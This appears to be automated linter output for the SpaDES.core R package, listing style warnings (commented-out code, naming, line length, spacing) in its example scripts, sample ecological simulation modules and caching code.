[inst/examples/example_experiment.R:91:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_experiment.R#L91) *style:* **Commented code should be removed.**
```r
  # library(raster)
    ^~~~~~~~~~~~~~~
```
[inst/examples/example_experiment.R:92:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_experiment.R#L92) *style:* **Commented code should be removed.**
```r
  # beginCluster(20) # if you have multiple clusters available, use them here to save time
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/examples/example_experiment.R:96:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_experiment.R#L96) *style:* **Commented code should be removed.**
```r
  # endCluster() # end the clusters
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/examples/example_experiment.R:152:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_experiment.R#L152) *style:* **Commented code should be removed.**
```r
  # fires <- lapply(sims, function(x) x$landscape$fires) %>% stack
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/examples/example_POM.R:49:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_POM.R#L49) *style:* **Commented code should be removed.**
```r
  # cl <- makeCluster(detectCores() - 1) # not implemented yet in DEoptim
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/examples/example_POM.R:84:4:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_POM.R#L84) *style:* **Commented code should be removed.**
```r
  #stopCluster(cl) # not yet implemented, waiting for DEoptim
   ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/examples/example_POM.R:107:34:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_POM.R#L107) *style:* **Variable or function name should be lowerCamelCase.**
```r
    params(sim1)$caribouMovement$N <- pars[2]
                                 ^
```
[inst/examples/example_POM.R:114:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_POM.R#L114) *style:* **Variable or function name should be lowerCamelCase.**
```r
    nPattern_Out <- caribouFn(out$caribou)
    ^~~~~~~~~~~~
```
[inst/examples/example_POM.R:120:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_POM.R#L120) *style:* **Commented code should be removed.**
```r
    # cat(minimizeFn)
      ^~~~~~~~~~~~~~~
```
[inst/examples/example_POM.R:121:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_POM.R#L121) *style:* **Commented code should be removed.**
```r
    # cat(" ")
      ^~~~~~~~
```
[inst/examples/example_POM.R:122:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_POM.R#L122) *style:* **Commented code should be removed.**
```r
    # cat(pars)
      ^~~~~~~~~
```
[inst/examples/example_POM.R:123:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/examples/example_POM.R#L123) *style:* **Commented code should be removed.**
```r
    # cat("\n")
      ^~~~~~~~~
```
[inst/sampleModules/caribouMovement/caribouMovement.R:1:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L1) *style:* **Variable or function name should be lowerCamelCase.**
```r
SpaDES.core.version <- "0.1.0"
^~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/caribouMovement/caribouMovement.R:54:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L54) *style:* **Variable or function name should be lowerCamelCase.**
```r
doEvent.caribouMovement <- function(sim, eventTime, eventType, debug = FALSE) {
^~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/caribouMovement/caribouMovement.R:86:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L86) *style:* **Lines should not be more than 100 characters.**
```r
      sim <- scheduleEvent(sim, time(sim) + P(sim)$.plotInterval, "caribouMovement", "plot", .last())
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/caribouMovement/caribouMovement.R:95:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L95) *style:* **Lines should not be more than 100 characters.**
```r
      sim <- scheduleEvent(sim, time(sim) + P(sim)$.plotInterval, "caribouMovement", "plot", .last())
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/caribouMovement/caribouMovement.R:102:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L102) *style:* **Lines should not be more than 100 characters.**
```r
      sim <- scheduleEvent(sim, time(sim) + P(sim)$.saveInterval, "caribouMovement", "save", .last() + 1)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/caribouMovement/caribouMovement.R:114:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L114) *style:* **Variable or function name should be lowerCamelCase.**
```r
Init <- function(sim) {
^~~~
```
[inst/sampleModules/caribouMovement/caribouMovement.R:121:3:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L121) *style:* **Variable or function name should be lowerCamelCase.**
```r
  N <- P(sim)$N
  ^
```
[inst/sampleModules/caribouMovement/caribouMovement.R:122:3:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L122) *style:* **Variable or function name should be lowerCamelCase.**
```r
  IDs <- as.character(1:N)
  ^~~
```
[inst/sampleModules/caribouMovement/caribouMovement.R:138:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/caribouMovement/caribouMovement.R#L138) *style:* **Variable or function name should be lowerCamelCase.**
```r
Move <- function(sim) {
^~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:1:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L1) *style:* **Variable or function name should be lowerCamelCase.**
```r
SpaDES.core.version <- "0.1.0"
^~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:20:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L20) *style:* **Lines should not be more than 100 characters.**
```r
    person(c("Alex", "M"), "Chubaty", email = "alexander.chubaty@canada.ca", role = c("aut", "cre")),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:21:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L21) *style:* **Lines should not be more than 100 characters.**
```r
    person(c("Eliot", "J", "B"), "McIntire", email = "eliot.mcintire@canada.ca", role = c("aut", "cre")),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:35:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L35) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter("persistprob", "numeric", 0.00, 0, 1, "probability of fire persisting in a pixel"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:37:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L37) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter("spreadprob", "numeric", 0.225, 0.05, 0.5, "probability of fire spreading into a pixel"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:38:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L38) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter("startTime", "numeric", start(sim) + 1, 0, end(sim), "time of initial fire ignition"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:39:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L39) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".plotInitialTime", "numeric", start(sim), start(sim), end(sim) + 1, "time to schedule first plot event"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:41:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L41) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".saveInitialTime", "numeric", NA_real_, NA, NA, "time to schedule first save event"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:42:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L42) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".saveInterval", "numeric", NA_real_, NA, NA, "time interval between save events")
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:59:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L59) *style:* **Variable or function name should be lowerCamelCase.**
```r
doEvent.fireSpread <- function(sim, eventTime, eventType, debug = FALSE) {
^~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:87:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L87) *style:* **Lines should not be more than 100 characters.**
```r
      sim <- scheduleEvent(sim, time(sim), "fireSpread", "stats") # do stats immediately following burn
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:142:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L142) *style:* **Variable or function name should be lowerCamelCase.**
```r
Init <- function(sim) {
^~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:146:3:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L146) *style:* **Variable or function name should be lowerCamelCase.**
```r
  Fires <- raster(extent(landscapes), ncol = ncol(landscapes),
  ^~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:150:3:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L150) *style:* **Variable or function name should be lowerCamelCase.**
```r
  Fires <- setValues(Fires, 0)
  ^~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:153:14:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L153) *style:* **Variable or function name should be lowerCamelCase.**
```r
  landscapes$Fires <- Fires
             ^~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:159:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L159) *style:* **Variable or function name should be lowerCamelCase.**
```r
Burn <- function(sim) {
^~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:162:3:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L162) *style:* **Variable or function name should be lowerCamelCase.**
```r
  Fires <- spread(landscapes[[1]],
  ^~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:174:14:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L174) *style:* **Variable or function name should be lowerCamelCase.**
```r
  landscapes$Fires <- Fires
             ^~~~~
```
[inst/sampleModules/fireSpread/fireSpread.R:181:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/fireSpread/fireSpread.R#L181) *style:* **Variable or function name should be lowerCamelCase.**
```r
Stats <- function(sim) {
^~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:1:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L1) *style:* **Variable or function name should be lowerCamelCase.**
```r
SpaDES.core.version <- "0.1.0"
^~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:33:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L33) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter("inRAM", "logical", FALSE, TRUE, FALSE, "should the raster be stored in memory?"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:34:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L34) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter("nx", "numeric", 100L, 10L, 500L, "size of map (number of pixels) in the x dimension"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:35:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L35) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter("ny", "numeric", 100L, 10L, 500L, "size of map (number of pixels) in the y dimension"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:37:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L37) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".plotInitialTime", "numeric", start(sim), start(sim), NA, "time to schedule first plot event"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:38:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L38) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".plotInterval", "numeric", NA_real_, NA, NA, "time interval between plot events"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:39:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L39) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".saveInitialTime", "numeric", NA_real_, NA, NA, "time to schedule first save event"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:40:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L40) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".saveInterval", "numeric", NA_real_, NA, NA, "time interval between save events"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:41:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L41) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".useCache", "logical", FALSE, c("init", "plot"), NA, "should the module result be cached for future use")
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:55:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L55) *style:* **Variable or function name should be lowerCamelCase.**
```r
doEvent.randomLandscapes <- function(sim, eventTime, eventType, debug = FALSE) {
^~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:75:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L75) *style:* **Lines should not be more than 100 characters.**
```r
      sim <- scheduleEvent(sim, time(sim) + P(sim)$.saveInterval, "randomLandscapes", "save", .last() + 1)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:86:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L86) *style:* **Variable or function name should be lowerCamelCase.**
```r
Init <- function(sim) {
^~~~
```
[inst/sampleModules/randomLandscapes/randomLandscapes.R:100:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/randomLandscapes/randomLandscapes.R#L100) *style:* **Variable or function name should be lowerCamelCase.**
```r
    DEM <- gaussMap(template, scale = 300, var = 0.03, speedup = speedup, inMemory = inMemory)
    ^~~
```
[inst/sampleModules/SpaDES_sampleModules/SpaDES_sampleModules.R:17:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/SpaDES_sampleModules/SpaDES_sampleModules.R#L17) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".plotInitialTime", "numeric", NA_real_, NA, NA, "This describes the simulation time at which the first plot event should occur"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[inst/sampleModules/SpaDES_sampleModules/SpaDES_sampleModules.R:18:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/inst/sampleModules/SpaDES_sampleModules/SpaDES_sampleModules.R#L18) *style:* **Lines should not be more than 100 characters.**
```r
    defineParameter(".saveInitialTime", "numeric", NA_real_, NA, NA, "This describes the simulation time at which the first save event should occur")
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:233:50:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L233) *style:* **Commas should always have a space after.**
```r
          cat(crayon::blue("  Using ", fromWhere," copy of", cur$moduleName, "module\n"))
                                                 ^
```
[R/cache.R:244:50:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L244) *style:* **Commas should always have a space after.**
```r
          cat(crayon::blue("  Using ", fromWhere," copy of", cur$eventType, "event in",
                                                 ^
```
[R/cache.R:294:10:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L294) *style:* **Commented code should be removed.**
```r
        #checkPath(cacheRepo, create = TRUE) #SpaDES dependency
         ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:418:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L418) *style:* **Lines should not be more than 100 characters.**
```r
        #   makes soft copy of all objects, i.e., they have the identical objects, which are pointers only
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:446:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L446) *style:* **Lines should not be more than 100 characters.**
```r
        list2env(mget(lsObjectEnv[lsObjectEnv %in% createOutputs | lsObjectEnv %in% expectsInputs], envir = object@.envir), envir = object2@.envir)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:456:12:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L456) *style:* **Commented code should be removed.**
```r
          #object2@events <- unique(rbindlist(list(object@events, object2@events)))
           ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:460:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L460) *style:* **Lines should not be more than 100 characters.**
```r
        # This is for objects that are not in the return environment yet because they are unrelated to the
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:473:10:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L473) *style:* **Place a space before left parenthesis, except in a function call.**
```r
      for(atts in attrsToGrab) {
         ^
```
[R/cache.R:477:9:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L477) *style:* **Commented code should be removed.**
```r
      # attr(object2, "tags") <- attr(object, "tags")
        ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:478:9:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L478) *style:* **Commented code should be removed.**
```r
      # attr(object2, "call") <- attr(object, "call")
        ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:479:9:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L479) *style:* **Commented code should be removed.**
```r
      # attr(object2, "function") <- attr(object, "function")
        ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:512:66:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L512) *style:* **Variable or function name should be lowerCamelCase.**
```r
  setGeneric(".addTagsToOutput", function(object, outputObjects, FUN) {
                                                                 ^~~
```
[R/cache.R:535:48:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L535) *style:* **Variable or function name should be lowerCamelCase.**
```r
  definition = function(object, outputObjects, FUN, preDigestByClass) {
                                               ^~~
```
[R/cache.R:627:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L627) *style:* **Variable or function name should be lowerCamelCase.**
```r
objSize.simList <- function(x, quick = getOption("reproducible.quick", FALSE)) {
^~~~~~~~~~~~~~~
```
